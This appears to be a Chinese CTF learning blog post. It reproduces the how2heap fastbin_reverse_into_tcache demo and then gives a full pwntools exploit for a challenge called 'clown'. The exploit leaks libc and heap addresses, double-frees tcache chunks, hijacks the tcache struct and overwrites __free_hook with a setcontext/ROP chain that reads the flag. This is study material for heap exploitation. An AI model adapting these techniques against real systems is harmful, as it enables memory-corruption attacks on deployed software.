**前言:
how2heap真实个不错的学习heap堆的地方,自己tcl!!!**
fastbin_reverse_into_tcache.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);
// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);
// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}
char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
free(victim);
printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);
// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}
// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var[2],
(char*)stack_var[2]
);
printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];
//------------------------------------
printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);
// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
printf(
"\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n"
);
malloc(allocsize);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);
assert(q == (char *)&stack_var[2]);
return 0;
}
总体来说fastbin_reverse_onto_tcache主要是来劫持tc strue来达到任意地址申请的作用
在libc2.31版本之后要考虑tc的fd它是由源码进行了一系列加密,所以找出密钥直接解出即可
首先先将其tc填满,再次free将进入unsortbin,进行切割主要这里切割的和下面double free的size相同,这样能间断的绕过检测,然后进行fastbin_reverse_into_tcache double free修改其fd进而劫持tc strue,
布置恶意数据进而控制程序执行流即可
以照wjh师傅的MARDSCTF的clown的wp来看,clown题目要把的rop分成两段,这里要修改tc strue的counts数量然后再申请的时候可连续申请两个chunk进而控制执行流在 libc2.32 中新增了一个检测要求 tcache 申请的内容要与 0x10 对齐,否则会申请错误。
exp:
from pwn import *
context.log_level = "debug"
r = process('./clown')
#r = remote('pwn.machine.dasctf.com', 50501)
libc = ELF('libc/libc.so.6')
context.arch = "amd64"
def choice(idx):
r.sendafter(">> ", str(idx))
def add(size, content = 'a'):
choice(1)
r.sendafter("Size: ", str(size))
r.sendafter("Content: ", content)
def delete(idx):
choice(2)
r.sendafter("Index: ", str(idx))
def show(idx):
choice(3)
r.sendafter("Index: ", str(idx))
#leak libc
#fill tcache
for i in range(7):
add(0x100)
add(0x100) #7
add(0x100) #8
for i in range(7):
delete(i)
delete(7) #into unsortedbin
add(0x80) #9 partial overwrite
show(7)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1b7d61
log.success("libc_base: " + hex(libc_base))
libc.address = libc_base
add(0x78) #10
#leak heap_base
add(0x68) #11
delete(11)
show(11)
heap_base = u64(r.recvuntil('\nDone', drop=True)[-5:].ljust(8, '\x00')) << 12
log.success("heap_base: " + hex(heap_base))
#doube free & fastbin into tcache
add(0x68, p64(0) * 2) #12
add(0x68) #13
#fill tcache
for i in range(7):
add(0x68) #14-20
for i in range(7):
delete(14 + i)
#double free
delete(11)
delete(13)
delete(11)
#fastbin into tcache
for i in range(7):
add(0x68) #21-27
#change next -> tcache struct
add(0x68, p64((heap_base + 0xF0) ^ (heap_base >> 12))) #28
add(0x68) #29
add(0x68) #30
#counts0 -> 1
add(0xF8) #31
delete(31)
add(0xE8) #32
delete(32)
#hijack tcache struct
add(0x68, p64(0) + p64(libc.sym['__free_hook'] + 0xF0) + p64(libc.sym['__free_hook'])) #33
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget = libc_base + 0x0000000000124990
pop_rdi_addr = libc_base + 0x00000000000277d6
pop_rsi_addr = libc_base + 0x0000000000032032
pop_rdx_addr = libc.address + 0x00000000000c800d
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_addr,
0x100,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
libc.sym['read'],
pop_rdi_addr,
fake_frame_addr + 0x200,
libc.sym['puts']
]
payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc.sym['setcontext'] + 53) + str(frame)[0x28:] + "flag\x00\x00\x00\x00" + p64(0) + str(flat(rop_data))
add(0xF8, payload[:0xF0]) #34 write to __free_hook part1
add(0xE8, payload[0xF0:]) #35 write to __free_hook part2
delete(34)
r.interactive()
总结:此题是介绍了在libc高版本的题目存在uaf(指针没有清空)和add里面其修改内容来进行攻击利用 技巧,此技巧是根据我自己的理解来描述的,如有不对的地方,欢迎各位大佬留言,毕竟新手吗,tttttcl!!!!!!!